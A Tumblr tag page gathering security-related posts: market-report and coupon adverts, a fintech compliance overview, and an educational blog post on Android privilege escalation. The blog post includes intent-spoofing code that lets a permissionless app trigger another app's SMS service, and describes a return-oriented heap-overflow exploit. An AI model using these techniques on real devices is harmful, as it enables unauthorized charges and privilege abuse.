#SecureDevelopment
Explore tagged Tumblr posts
maryyclark · 6 days ago
Text
API Security: Protecting the Digital Backbone
Tumblr media
Application Programming Interface (API) Security Market Research
According to Straits Research, the global API security market size was valued at USD 874.20 million in 2024 and is projected to grow from USD 1,027 million in 2025 to reach USD 3,732 million by 2033, growing at a CAGR of 17.5% during the forecast period (2025-2033).
The Application Programming Interface (API) Security Market, an evolving segment in the industry, is witnessing substantial expansion fueled by avant-garde technologies and escalating consumer demand. Market analysts scrupulously gather data through polls, focus groups, and in-depth scrutiny of industry patterns. These analysts utilize both quantitative and qualitative methodologies to ensure a comprehensive and precise market report. The report encompasses intricate insights on market size, growth prospects, competitive milieu, and consumer predilections. By harnessing advanced analytical instruments and expert acumen, the report delivers invaluable recommendations and strategic guidance for stakeholders, empowering them to make enlightened decisions and seize emerging prospects within the Application Programming Interface (API) Security Market.
Competitive Players
The competitive landscape of the Application Programming Interface (API) Security Market includes several key players who have a significant impact on market dynamics. Major companies operating in this market include:
DataTheorem
Salt Security
Akanoc Solutions
APIsec
DataDome, Inc.
Micro Focus
Imvision
Wallarm
Snyk
42Crunch
Latest Trends in Application Programming Interface (API) Security Market
Enhanced Attention to AI-Driven Security: In an effort to improve API security, businesses are embracing AI technology more and more. Approximately 77% of businesses are investigating or have already used AI tools to automate processes and increase vulnerability detection efficiency.
Integration with DevSecOps: API security is increasingly being incorporated into DevSecOps procedures, highlighting the necessity of integrating security measures at every stage of the development process rather than as an afterthought.
Increasing Identification of API Sprawl: Managing API sprawl has grown increasingly difficult as businesses implement more APIs. 43% of businesses admit to having trouble monitoring and protecting their vast API ecosystems.
Transition to Specialized API Security Solutions: Rather than depending on conventional web application firewalls (WAFs), there is a trend toward the adoption of specialized API security solutions. Numerous firms are realizing that the special difficulties presented by APIs are frequently not adequately addressed by the solutions currently in use.
Emphasis on Behavior Baseline Monitoring: In order to better identify anomalies and possible dangers, organizations are putting more and more effort into setting baseline behaviors for their APIs. Many still lack reliable systems for this monitoring, though.
Better documentation and visibility are required because API modifications happen so quickly (38% of firms update their APIs at least weekly), which makes documenting more difficult and may result in security flaws because of out-of-date information.
Key Statistics
API Security Incidents: Over the past year, the number of API security incidents has more than doubled, underscoring the growing attack surface brought on by rising API usage. A hack involving APIs that compromised sensitive data and vital systems was reported by about 23% of enterprises.
Authentication Issues: Unauthenticated users carry out an astounding 61% of API attacks, suggesting that attackers are employing a variety of strategies to take advantage of vulnerabilities without requiring legitimate credentials.
Executive understanding: As a result of increased understanding of the business risks associated with API security, roughly 46% of C-level executives now view it as a crucial concern.
Application rollout delays caused by security flaws in their APIs have affected 55% of firms, which can result in lost revenue and irate clients.
Just 12% of businesses are extremely confident in the correctness of their API inventory, and over a third are completely unconfident.
Get a free sample of the Application Programming Interface (API) Security Market @ https://straitsresearch.com/report/application-programming-interface-security-market/request-sample
Application Programming Interface (API) Security Market Segmentation
The comprehensive Application Programming Interface (API) Security Market analysis has been divided into categories such as category, application, and delivery mode, with each subset examined according to geographical segmentation. This research will keep marketers updated and assist in pinpointing target demographics for a product or service, including insights into market share.
By Offerings
Platform & Solutions
Services
By Deployment Mode
On-Premises
Cloud
Hybrid
By Organization Size
Large Enterprises
Small and Medium Enterprises (SMEs)
By Vertical
BFSI
ITand Telecom
Government
Manufacturing
Healthcare
Others
You can check In-depth Segmentation from here: https://straitsresearch.com/report/application-programming-interface-security-market/segmentation
Regional Analysis
The Application Programming Interface (API) Security Market is studied, and market size insights and trends are offered by nation, kind, form, and application, as previously said. The report's regional analysis section provides a thorough study of many regional and national industries to help players establish successful development strategies.
Buy the Full Application Programming Interface (API) Security Market Report @https://straitsresearch.com/buy-now/application-programming-interface-security-market
Key Highlights
The purpose of this study is to examine the manufacturers of Application Programming Interface (API) Security Market, including profiles, primary business activities, news, sales and price, revenue, and market share.
It illustrates the market subdivided by type and application, with details on sales, price, revenue, market share, and growth rate broken down by type and application.
The research covers key regions by manufacturers, categories, and applications, including North America, Europe, Asia Pacific, the Middle East, and South America, with sales, revenue, and market share segmented by manufacturers, types, and applications.
It also investigates production costs, essential raw materials, and production methods.
Principal Motives Behind the Purchase:
To gain deep analyses of the industry and understand the commercial landscape of the global market.
To analyze production processes, key problems, and potential solutions to mitigate future issues.
To understand the most influential driving and restraining factors in the Application Programming Interface (API) Security Market industry and their global market impact.
To gain insights into the market strategies employed by the most successful firms.
To understand the market's future and potential.
About Us:
StraitsResearch.com is a leading research and intelligence organization, specializing in research, analytics, and advisory services along with providing business insights & research reports.
Contact Us:
Address:825 3rd Avenue, New York, NY, USA, 10022
Tel: +1 6464807505, +44 203 318 2846
0 notes
likita123 · 2 months ago
Text
Fintech App Development: Navigating Regulations and Security Challenges
Tumblr media
The rapid growth of fintech has revolutionized the financial services industry, making it more accessible, efficient, and user-friendly. However, with this innovation comes increased scrutiny and a complex regulatory landscape that developers must navigate carefully. In addition to regulatory compliance, ensuring robust security measures is critical, given the sensitivity of financial data. Here’s a breakdown of the key regulations and security challenges in fintech app development and how to tackle them.
1. Understanding the Regulatory Landscape
Fintech operates in a highly regulated environment, with different regions imposing specific rules to ensure consumer protection, financial stability, and data privacy. Before developing a fintech app, it's essential to understand the local and international regulations that apply to financial services.
Key Regulations to Consider:
GDPR (General Data Protection Regulation): For apps operating in or serving users in the EU, GDPR is a critical regulation that governs how personal data is collected, processed, and stored. Failure to comply can result in hefty fines.
PSD2 (Payment Services Directive 2): Applicable in Europe, PSD2 is designed to enhance payment security, promote innovation, and boost competition. It requires strong customer authentication (SCA) and opens up access to customer data through APIs.
PCI DSS (Payment Card Industry Data Security Standard): For apps handling payment card transactions, PCI DSS sets the standard for securing cardholder data. Compliance is mandatory to avoid data breaches and penalties.
FINRA (Financial Industry Regulatory Authority): In the U.S., FINRA regulates securities firms and brokers. Fintech apps offering investment services must adhere to its rules regarding transparency and fair practices.
2. Licensing and Compliance
Fintech apps often need specific licenses to operate, depending on the services offered (e.g., lending, digital banking, payments). The process for obtaining these licenses varies by jurisdiction but often includes meeting capital requirements, demonstrating secure infrastructure, and proving compliance with anti-money laundering (AML) and know-your-customer (KYC) regulations.
Licensing Requirements:
E-money licenses for payment and money transfer apps.
Banking licenses for neo-banks or challenger banks.
Broker-dealer licenses for apps offering trading and investment services.
Lending licenses for peer-to-peer lending or microfinance platforms.
Each license comes with its own set of ongoing compliance requirements, which fintech companies must adhere to maintain their operational status.
3. Security Challenges in Fintech Development
Given the sensitive nature of financial data, security is a top priority in fintech app development. The increasing number of cyberattacks targeting financial services means that fintech apps must implement best-in-class security practices to protect both the app and its users.
Key Security Challenges:
Data Encryption: All sensitive data (e.g., financial transactions, personal information) must be encrypted both in transit and at rest. Encryption ensures that even if data is intercepted, it cannot be accessed without the appropriate decryption key.
Secure Authentication: Implementing multi-factor authentication (MFA) and biometric authentication (e.g., fingerprint, facial recognition) is essential for protecting user accounts from unauthorized access.
Fraud Detection: Fraud detection systems that use machine learning to detect unusual transaction patterns or activities can help prevent fraud before it occurs.
API Security: Many fintech apps rely on third-party APIs for services like payment processing or account aggregation. Ensuring these APIs are secure and protected against vulnerabilities (e.g., token-based authentication, OAuth) is crucial.
Continuous Monitoring: Security doesn’t end at deployment. Continuous monitoring and threat detection systems help identify potential vulnerabilities and respond to incidents in real time.
4. Balancing Security and User Experience
While security is a priority, user experience remains equally important. If a fintech app’s security measures are too cumbersome, users may abandon the app for easier alternatives. Developers need to strike a balance between high-level security and seamless usability.
Key Considerations:
Streamlined Authentication: Offering secure, yet convenient authentication options, such as biometric login, can enhance user experience without compromising security.
Clear Security Features: Educating users about security features (e.g., 2FA setup, password management) can build trust and ensure that users follow best practices.
Minimizing Data Collection: Collecting only the necessary data reduces the app’s attack surface and simplifies compliance with privacy regulations.
5. Adapting to Emerging Threats and Technology
As technology advances, so do the methods used by cybercriminals. Fintech developers must stay ahead by regularly updating their security protocols, integrating the latest technologies, and adapting to new threats.
Emerging Trends:
Blockchain: Many fintech apps are exploring blockchain to secure transactions and improve transparency. Blockchain’s decentralized nature reduces the risk of fraud and improves trust between parties.
AI and Machine Learning: AI is becoming crucial for fraud detection and risk management. Machine learning models can analyze user behavior and identify anomalies in real time.
Quantum Computing: While still in its early stages, quantum computing presents a potential future challenge for encryption methods currently used in fintech. Developers must keep an eye on this technology and prepare for how it may impact cryptography.
6. Handling Data Privacy and User Trust
Fintech apps handle massive amounts of sensitive data, from personal details to financial transactions. Protecting user privacy and building trust is paramount, especially in an industry where data breaches can be catastrophic.
Strategies for Data Privacy:
Data Minimization: Collect only the data necessary for the app to function, reducing the risk of exposure in the event of a breach.
Consent Management: Ensure that users understand what data is being collected and for what purpose. Implement clear and user-friendly consent processes that comply with regulations like GDPR.
Anonymization: Where possible, use data anonymization techniques to protect user identity while still gathering valuable insights.
7. Ongoing Compliance and Audits
Even after launch, fintech apps must continuously meet regulatory requirements through regular audits and compliance checks. Failure to do so can result in heavy penalties, loss of licenses, and damage to reputation.
Ongoing Compliance Steps:
Internal Audits: Conduct regular internal audits to ensure that the app complies with regulatory requirements and security standards.
Third-Party Audits: Engage third-party firms to conduct security audits and vulnerability assessments.
User Data Audits: Regularly review how user data is collected, stored, and processed to ensure that privacy laws are adhered to.
Outcome
Developing a fintech app requires navigating a complex web of regulations and security challenges. By prioritizing compliance from the outset, implementing cutting-edge security measures, and balancing user experience with data protection, fintech companies can build robust and trustworthy apps that meet the needs of both users and regulators. Staying informed about the evolving regulatory landscape and emerging security threats will be key to long-term success in this rapidly growing industry.
0 notes
digitalvibesinfo · 3 months ago
Text
Mastering 1Password Developer Tools: Secure Your Code with Confidence!
For developers, managing credentials and secrets is a critical part of ensuring the security of your applications. 1Password Developer Tools offer a powerful solution for managing these sensitive elements securely and efficiently. This guide will explore how 1Password Developer Tools can enhance your development process and keep your code safe.
Why 1Password Developer Tools?
1Password Developer Tools are designed to help developers manage and secure their secrets effectively. With robust features and seamless integration, these tools provide a comprehensive solution for protecting your code and credentials.
Getting Started with 1Password Developer Tools
Getting started is easy:
1. Sign Up for 1Password : Visit the 1Password Developer Tools page to create an account.
2. Integrate with Your Development Environment: Use 1Password’s APIs and SDKs to integrate with your existing development tools and workflows.
3. Manage Secrets: Store and manage your API keys, passwords, and other sensitive information securely within 1Password.
Features and Benefits
1Password Developer Tools offer several features that make them a valuable addition to your development toolkit:
Secure Storage: Store your credentials and secrets securely, with encryption and access control.
API Integration: Integrate with your development environment to streamline secret management.
Audit Logs: Monitor access and changes to your secrets with detailed audit logs.
Seasonal Discounts and Offers
Explore Dealszo for Best 1Password Coupon Codes & Promo Codes for 1Password Developer Tools. With special promotions during Halloween, Veteran's Day, Thanksgiving, Black Friday, and Cyber Monday 2024, you can secure your development process at a reduced cost.
Why 1Password Developer Tools are Essential
For developers, securing code and credentials is critical. 1Password Developer Tools provide the features and integrations needed to manage your secrets effectively, ensuring that your development process remains secure.
How 1Password Developer Tools Support Your Work During Major Holidays?
During peak development periods and holiday seasons, managing credentials and secrets efficiently is crucial. 1Password Developer Tools help you maintain security and streamline your workflows, even during busy times.
1Password Developer Tools are a valuable asset for any developer looking to secure their code and credentials. With robust features and seasonal discounts available through Dealszo, it’s an investment in your development security. Check out Dealszo for the latest 1Password Coupon Codes & Promo Codesand enhance your development process today!
Latest 1password Offers & Discount
25% off the first year of 1Password Families
Secure your family's digital life! Get 25% off the first year of 1Password Families. Don't miss this exclusive offer for enhanced online security!
Up to 10 Team members for $24.95 per Month
Canada: Get Up to 10 Team members for $24.95 per Month with 1Password!
25% Off For New Customers
Enjoy 25% Off families at 1Password! New Customers Only!
3 months free switch to Business or Teams
Get 3 months free when you switch to 1Password Business or Teams, Plus Free family accounts for every member of your team!
1Password Developer Tools secure your code with ease. Grab Dealszo’s exclusive discounts and boost your development security today!
0 notes
otaviogilbert · 1 year ago
Text
Tips for Secure Code Review | CybersecurityTv
youtube
In this video, They'll explore essential tips for conducting a secure code review, helping you enhance the security of your software projects. From identifying vulnerabilities to ensuring best coding practices, They've got you covered. Stay tuned to CybersecurityTv for expert insights into safeguarding your code!
0 notes
varamacreations · 1 year ago
Text
youtube
ZAP Active Scan | CyberSecurityTV
🌟ZAP is an open-source proxy tool for the penetration testing. One of the most useful features is the active scan using the OWASP ZAP. It is very important to know how to configure form-based authentication and scan all the relevant pages.
0 notes
amigoways · 1 year ago
Text
Tumblr media
Build scalable, robust, and secure applications with our expert team.
Custom applications, web development, and more - we've got you covered.
Connect with our skilled team and experience the true potential of .NET Development Services. 👉 www.amigoways.com/dot-net-development
1 note · View note
supedium · 13 days ago
Text
Implementing Secure Development Practices
https://supedium.com/cyber-security-tips/implementing-secure-development-practices/ #securecoding #Securedevelopment #securitytools #softwarecompliance #threatmodeling #vulnerabilitymanagement Implementing Secure Development Practices https://supedium.com/cyber-security-tips/implementing-secure-development-practices/
0 notes
valevpn · 1 year ago
Text
Threat Modeling: What is it? 🧐
In today's rapidly evolving digital landscape, security has become a paramount concern for organizations. Cyber threats and attacks are constantly on the rise, targeting sensitive data, systems, and infrastructure. To effectively combat these threats, organizations employ various security measures, one of which is threat modeling. Threat modeling is a proactive approach that helps organizations identify potential vulnerabilities and risks in their systems, allowing them to prioritize security efforts and develop effective countermeasures.
🔍 Let's delve deeper into what threat modeling entails and its benefits for organizations!
Read on 👉 https://www.valevpn.com/post/threat-modeling-what-is-it
ThreatModeling #Cybersecurity #SecurityRisk #VulnerabilityAssessment #RiskManagement #InformationSecurity #SecureDevelopment #ThreatIdentification #DataProtection #SecureSystems #SecurityBestPractices #SecureCoding #SecurityAwareness #RiskMitigation #SecurityCompliance #CyberThreats #ThreatPrevention #SecurityStrategy #SecurityMeasures #SecurityFramework #RiskAnalysis
Tumblr media
0 notes
douglas-bernardini · 3 years ago
Photo
Tumblr media
NIST Publishes Draft Security Criteria for Consumer Software - The final version is expected to be published by February 6, 2022.
https://secure-devs.net/nist-publishes-draft-security-criteria-for-consumer-software-douglas-bernardini/
0 notes
cybersecurityinvesics · 3 years ago
Link
These days, application security can make or break entire businesses. So, how can you improve the security of your product?
The answer to this question is more important now than it has ever been. When a company disregards security issues, it puts itself at risk. Business applications store massive amounts of sensitive data, which could be stolen at any time. Businesses that underfunding in security risk incurring financial losses as well as a tarnished reputation.
0 notes
releaseteam · 3 years ago
Link
via Twitter https://twitter.com/releaseteam
0 notes
winobs · 5 years ago
Photo
Tumblr media
#SecureDevelopment: Security for Developers - https://ift.tt/2UPnYSM
0 notes
otaviogilbert · 1 year ago
Text
Tips for Secure Code Review | CybersecurityTv
youtube
🔐 Learn essential tips for secure code review in our latest CybersecurityTv episode. Discover best practices to keep your codebase safe from vulnerabilities and threats. Don't miss out on these crucial insights!
0 notes
varamacreations · 1 year ago
Text
youtube
How to answer API security questions in an Interview? | CyberSecurityTV
🌟During an interview, there are few tricky questions regarding API security. In this episode, I have tried cover few and give my perspective on how to respond to those questions and also better prepare yourself. This is not a full list of questions but at least covers majority of questions that could be asked.
0 notes
joym-blog · 9 years ago
Text
Privilege Escalation Attacks on Android
Android is the most popular mobile operating system in the world today. It allows users to customize their phones by installing third party applications which lets them do a host of activities from browsing the web to playing games to scheduling their activities to listening to music and many more. Android provides tools that make the development of such apps simple. Moreover, the Android project is open source with free access to documentation, which means that anyone can examine the Android model, read the documentation and develop applications on it. This has led to an explosion of apps, which is a good thing for the users in general. However, a lack of proper understanding of Android’s powerful features can lead to gaping security holes that could easily be exploited by attackers to gain unauthorized access to private information. This report tries to understand the security model of Android and the rules that should be followed in order to build secure apps. The report also looks at the kind of attacks that can take place if these rules are not followed. Finally it briefly discusses current and future research on how to mitigate such attacks.
Android Overview
Android is built on top of the Linux kernel. Therefore, it inherits all the security features of the linux kernel like isolation of apps through sandboxing. This means that, every app runs inside it own space and does not have access to the data of other apps. Inter app communication takes place through a permission system which we shall describe later. The core Android libraries along with the Android Runtime System (ART) are built on top of the Linux kernel and use it to communicate with the phone hardware. The core Android libraries are mostly written in C/C++. The Android Runtime System (ART) consists of a few more libraries and the Dalvik Virual Machine(DVM). The DVM is an optimized JVM created especially to run on mobile phones. Every app in the Android system resides in a separate process and runs on a dedicated DVM. The application framework is built on top of the libraries and the ART. The application framework provides numerous high level services or APIs to app developers in the form of Java classes. The last layer is the application layer. All Android apps are developed and installed on this layer. Examples of such applications are Contacts Book, Browsers, SMS and other third party apps. A diagram of the Android architecture is given below.
Tumblr media
An Android app is made of four basic components. All classes and methods are extended or derived from them. The components are as follows:
Activity: User interaction in Android takes place through the Activity base class. The activity class takes care of creating a window in which UI can be placed. The activity class has many methods like onCreate(), onStart, onStop(), onPause(),onResume() and onDestroy(). These methods are invoked whenever an event related to an activity happens. For instance, if a window is opened up the onStart() method is called. These methods should be implemented by any class that extends the Activity class.
Service: A service is an application component that can perform long –running operations in the background. Typically services do not have any UI and our mostly associated with an activity, which means that they run on the same thread as an activity but as a background process.
Broadcast Receivers: Broadcast receivers are components that sit in the background and listen for incoming requests. They are mostly used to relay data between activities or services of different app or the same app.
Content Providers: These are mini databases that are associated with an app. They are basically stored in an app’s file system and are protected from outside access unless the developer makes some exceptions.
Intent: Intents are classes that are used for both inter and intra app communication. Communication requests and responses are encapsulated in an intent object and are sent to or received from the various Android components.  Intents can be used to start Activities; start, stop and bind Services; and broadcast information to Broadcast Receivers. Intents can be of two types – explicit and implicit. Explicit intents know exactly who the data is being sent to or from where the data is coming. Implicit intents on the other hand are system wide objects that are broadcast and resolved at runtime. Implicit intents are a cause of worry from a security perspective as we shall see later.
Android’s Permission Model
The linux kernel ensures that every app runs inside its own process. Every app has a user Id and has access to resources allowed under that user Id. This is called sandboxing which isolates apps from each other. However, Android has a very complex communication model which allows apps to easily talk to each other provided they have the right set of permissions. For instance, if an app wants to make phone calls then it can do so by communicating with the phone app. In order to do so it has to declare this permission in its manifest file. When the app is installed by a user, Android asks the user if this app should be allowed to make phone calls. If the user agrees then the app is installed else it is rejected. Similarly, if an app wants to access the Internet then it should have the necessary permission to do so. Also, apps can define their own permissions and declare them in the manifest file. Any other app that wants to communicate with this app should have those permissions defined in their manifest file. This is Android’s way of allowing inter-app communication at the same time protecting resources from unauthorized access. All permissions have a protection level that determines how difficult the permission is to acquire. There are four protection levels:
There are four protection levels:
Normal permissions are granted automatically.
Dangerous permissions can be granted by a user during installation. If the permission request is denied, then the application is not installed
Signature permissions                are only granted if the requesting application is signed by the same developer who created the permission.
Signature or System permissions are granted if the application meets the signature requirement or if the application is installed in the system applications folder. System applications are mostly pre-installed by a device manufacturer or manually installed by an advanced user on a rooted device.
Quite clearly the last two protection levels are the strongest provided that the signatures have not been compromised. The first two protection levels are relatively weak and can be subject to exploitation. If components or apps are not properly protected by permissions they could be used maliciously to breach Android’s security model. In a sense Android’s permissions system is conceptually flawed because it does not enforce permissions but leaves it to the developer to enforce it. If a developer somehow fails to provide adequate permissions, which is not very uncommon then due to the transitive nature of the permissions system, privilege escalation attacks could take place. For instance, let us say that app A has the right permissions to access app C but app B does not have the permissions to access app C’s resources and is malicious. If app A has some vulnerability in one of its components then app B could exploit that vulnerability to gain access to app C. In the next section we will see some examples of how such attacks could take place.
Privilege Escalation Attacks
Privilege escalation attacks could take place by various methods. We look at a few common techniques like Intent spoofing attacks and the more advanced Return Oriented programming without returns attacks.
Intent Spoofing
Intents are message passing objects that help apps communicate with each other. As mentioned earlier intents are of two types explicit and implicit. A malicious application can launch intent spoofing attacks by sending an intent to an exported component of a victim application that is not expecting intents from that application. This can happen when a component is exported when it was not intended to. Ideally developers should limit access to such components, but they do not always do so. To test this I created two apps one benign but with a vulnerability and one malicious app that exploits that vulnerability. Below is the sample code followed by an explanation.
public class MessagingService extends IntentService {
        @Override
      public void onCreate()
{
             super.onCreate();
             //code deleted for clarity
      }
      @Override
      protected void onHandleIntent(Intent intent) {
             try{
             //code deleted for clarity
             //loop through each phone no in the hash map and send SMS to each
             if(ContactBean.ContactMap!=null && ContactBean.ContactMap.size()>0)
             {
                    for(String phoneNo : ContactBean.ContactMap.keySet())
                    {
smsManager.sendMultipartTextMessage(phoneNo, null, smsParts, piSent, piDeliver);
                                   Thread.sleep(2000);
                    }
             }
             else
{
AppCommonBean.commonErrMsg = AppCommonConstantsClass.NO_CONCT_ADDED;
             }
             }
catch(Exception e)
             {
AppCommonBean.commonErrMsg = AppCommonConstantsClass.COMMON_ERR_MSG;
             }
             stopSelf();
             stopService(intent);
             }
      @Override
        public void onDestroy() {
          super.onDestroy();
      //code deleted for clarity
        }
 }
The above code is a service that runs in the background and sends SMS to all numbers in the hash map. Only the parts required for this discussion are shown. The finer details of code have been deleted. This service is part of an emergency app. The purpose of this app is to gather the current location of the user and send SMS to the user’s closest people when the user is in an emergency. The service has SMS_SEND permission which is required for sending SMS. Below is a part of the manifest.xml file of this app. 
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android"
   package="com.example.idost"
   android:versionCode="1"
   android:versionName="1.0" >
    <uses-sdk
       android:minSdkVersion="11"
       android:targetSdkVersion="17" />
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.INTERNET"/>
    <application
       android:allowBackup="true"
       android:icon="@drawable/ic_launcher4">
      //deleted for clarity
            <service android:name="com.example.idost.service.MessagingService">
           <intent-filter>
               <action android:name="android.intent.action.CALL" />
               <category android:name="android.intent.category.DEFAULT" />
           </intent-filter>       </service> </application></manifest>
The manifest file shows that this app has permissions to send sms. However, the Messaging Service class has been declared in the manifest with an intent filter (see the red highlighted portion). In Android if an intent filter is declared for a particular component it makes that component public by default. Therefore, any component can create an intent with a matching action and category and call this service from its own app to send random messages. When the user gets the phone bill at the end of the month he will be surprised to see the high number of messages sent from his phone. The only challenge for the attacker here is to match the intent filter. That should not be very difficult for the attacker since the developer has used a standard action string as its intent filter. Android has a fixed set of action strings which the attacker can brute-force very easily. The sample code of the malicious app is given below.
package com.example.exploityelfp;
 import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
 public class MalActivity extends Activity {
                 @Override
               protected void onCreate(Bundle savedInstanceState) {
                               super.onCreate(savedInstanceState);
                               setContentView(R.layout.activity_mal);
                                 try {
                               Intent serv = new Intent(Intent.ACTION_CALL);
                                               try{
                                                               startService(serv);
                                               }
                                               catch(Exception e)
                                               {
                                                               e.printStackTrace();
                                               }
} catch (Exception e1) {
                                               e1.printStackTrace();
                               }
               }  
                 protected void onStart() {
                               super.onStart();
                               //some useful code
                } }
The above malicious activity could be part of a useful app created by a malicious attacker. When this activity is called by the user, the messaging service of the other app will be called without the user knowing anything about it since the service invocation code is in the onCreate() method of the malicious activity. The following is the manifest of the malicious app. The interesting thing to note is that this app has no permissions declared in its manifest and yet it is able to escalate its own privileges to send SMS to random phone nos.
 <?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
   package="com.example.exploityelfp"
   android:versionCode="1"
   android:versionName="1.0" >
    <uses-sdk
       android:minSdkVersion="8"
       android:targetSdkVersion="18" />
    <application
       android:allowBackup="true"
       android:icon="@drawable/ic_launcher"
       android:label="@string/app_name"
       android:theme="@style/AppTheme" >
      <activity
           android:name="com.example.exploityelfp.MainActivity"
           android:label="@string/app_name" >
           <intent-filter>
               <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
           </intent-filter>
      </activity>
      <activity
           android:name="com.example.exploityelfp.MalActivity"
           android:label="@string/title_activity_mal" >
           <intent-filter>
               <action android:name="android.intent.action.SENDTO" />
               <category android:name="android.intent.category.DEFAULT" />
           </intent-filter>
      </activity>
  </application>
 </manifest>
 An attack of this sort is a classic case of Intent spoofing and is one of the most common hacking techniques used in Android. The important thing to note is that this would not have been possible if the developer of the Messaging service had been careful and had protected his service with adequate permissions in the manifest file. The best thing for the developer would have been to set the “exported” attribute to be false and use only explicit intents to communicate with the service. However, this is always not possible since services are often required to be called from other apps that the developer trusts. In such cases the developer could either use digital signatures to verify the invoker of the service or he could have used the permissions attribute in the manifest to protect his service. That would have allowed only a component with that permission to start the service.
 This sort of attack can also be carried out on other components like Broadcast Receivers and Activities. In the case of broadcast receivers if an exported broadcast receiver blindly trusts an incoming broadcast intent it could operate on malicious data from that intent or it could just propagate the intent to a sensitive service or application. In case of an activity a user could be tricked to click on a button that takes her to the activity of another application, the user might then make changes to the victim app believing that she is still on the malicious app.
Return Oriented Programming without returns
 A lot of Android apps use the Java Native Interface (JNI) framework to call native libraries written in C/C++. Libraries written in C/C++ are often subject to buffer overflow attacks. I borrow an exploit technique described in Davi et al. to show how buffer overflow vulnerabilities in native libraries can compromise the security of an app that uses that library. Android has all modern protection techniques like stackguard and data execution implemented in its operating system. Therefore, the only useful technique would be Return Oriented Programming (ROP). However, recent Android versions can also thwart ROP attacks because it detects the presence of instruction streams with frequent returns. Three consecutive sequences of five or fewer instructions ending in return trigger an alarm. Davi et al suggest a technique called ROP without returns to bypass this defense mechanism. If the ROP chain has no returns then this defense mechanism will not detect it. However, returns are essential for the ROP chain to actually work. Therefore, return instructions are replaced by instructions that behave like return. On both the x86 and the ARM which Android uses, such instructions exist. They are called Update-Load-Branch (ULB) instructions. These instruction sequences update the Stack Pointer; load the address of the next instruction sequence to execute based on the stack pointer’s state; and finally branch to the address loaded. However, ULB instructions are not as frequently found as return instructions. To overcome this, a single ULB instruction is designed as a trampoline. Each instruction sequence used to compose a gadget set ends in an indirect jump to the trampoline, which redirects the execution to the next set of instructions.
 Given that the Android permission model does not handle transitive permissions as shown with intent spoofing attacks, the idea behind this exploit is to find an app A that makes a call to a vulnerable native library. Let us say this app has permissions to another app B in the system which has a wide set of permissions like sending sms, making calls, accessing Bluetooth, opening camera, internet access and many more. Any malicious app with no permissions to app B can exploit A to gain permission to app B and consequently to all the resources that app B has access to.
 Davi et al. in their paper describe an actual scenario like this. They create a vulnerable app A which makes a call to a vulnerable library. The code of the vulnerable native library is given below.
struct foo
{
char buffer[460] ;
jmp_buf jb ;
};
jint Java_com_example_helloJni_HelloJni_doMapFile(JNIEnv* env , jobject thiz)
{
// A binary file is opened ( not depicted )
. . .
struct foo _ f = malloc(sizeof_f) ;
i = setjmp ( f􀀀>jb ) ;
if (i!=0) return 0 ;
fgets ( f􀀀>buffer , sb.stsize , sFile ) ;
longjmp ( f􀀀>jb , 2 ) ;
}
Quite clearly there is a potential buffer overflow in the above code. The setjmp function is a system function that creates a special data structure called jmp_buf to save the current state or values of the control registers like ESP, EIP, EBP etc. The function longjmp is also a system function that reads the jmp_buf data structure to restore the register values. If the jmp_buf can be overwritten by attacker controlled data before longjmp is called, then the attacker will be able to run arbitrary code. The fgets function allows the buffer variable to be written with the contents of a binary file without proper bounds checking. Writing more than 460 characters will also overflow the jmp_buf data structure because they are declared inside the same structure. However, care has to be taken to bypass the canary. Android implements a fixed canary to protect the heap, leaving 52 bytes between the jmp_buf and the canary word. The canary is hard coded into libc.so and is therefore device and process independent. So any buffer overflow will have to consider the 52 bytes of space between the canary and the jmp_buf.
 Our next goal is to find an app B with a large permission set. Recently, Android has come up with the Android Scripting Environment that is a client-server app that allows developers to rapidly develop application prototypes by writing scripts and executing them from the phone itself. The interpreter is hosted on a server and the server is implemented as an Android component with a wide set of permissions. However, the server component is itself not protected by any permissions and anyone with permission to the client can invoke it. It is assumed that the device being attacked as ASE installed in it. The vulnerable app described previously has permission to the ASE client. When code in the vulnerable library is invoked through the jni, the setjmp vulnerability is exploited to cause a heap overflow. A ROP chain with the ULB trampoline is injected into the heap and a stack flip is caused by making the ESP point to the address in the heap which has the ROP chain. The ROP chain is executed till the system function which invokes the scripting shell is called. The function takes a command and a port number as input. The ASE client running on behalf of the vulnerable app establishes a socket connection with the ASE server passes the command and the port number. The ASE server executes the command like “send 100 sms to a premium-rate no” without checking any permissions and the vulnerable app is allowed to do so even if it wasn’t authorized to do so at install time thus clearly, escalating its privilege.
Mitigation
 Privilege escalation attacks are just one class of attacks that happen due to security vulnerabilities in Android apps. There are many other types of attacks as well like intercepting implicit intents and XSS attacks through WebView. While, Android provides a basic security model through sandboxing, it also gives developers a lot of freedom to enable inter-app communication. This expands Android’s attack surface. Therefore, achieving the right balance is important. Android’s security model is enough to prevent malicious attacks if developers understand the security model properly and write secure code. However, it is not always easy to write secure code especially in times of rapid development. Therefore, the only way forward is to create tools that will help developers write secure code. There has been a lot of research on static analysis tools that detect security vulnerabilities. A lot of research has also been done on formalizing Android’s security model and creating a type based system from a security perspective. Some research has also been done on a Model Driven Development approach from a security perspective. However, MDA in Android is still in its nascent stage. The main idea behind MDA in Android is that the developer will create a communication model for her app. MDA will transform that model into a formal model and prove that it is secure. If it is not secure then the developer is asked to correct the model. However, if it is secure then code is generated from that model. I believe that a very good way to prevent attacks is to provide security at the application layer and that can only happen if developers write secure code. Therefore, the future of attack mitigation especially in Android will probably be in the direction of creating tools that facilitate secure development.
0 notes
otaviogilbert · 1 year ago
Text
Tips for Secure Code Review | CybersecurityTv
youtube
Learn essential tips for conducting a secure code review in this insightful episode of CybersecurityTv. Discover how to identify vulnerabilities, enhance code quality, and protect your software from potential threats.
0 notes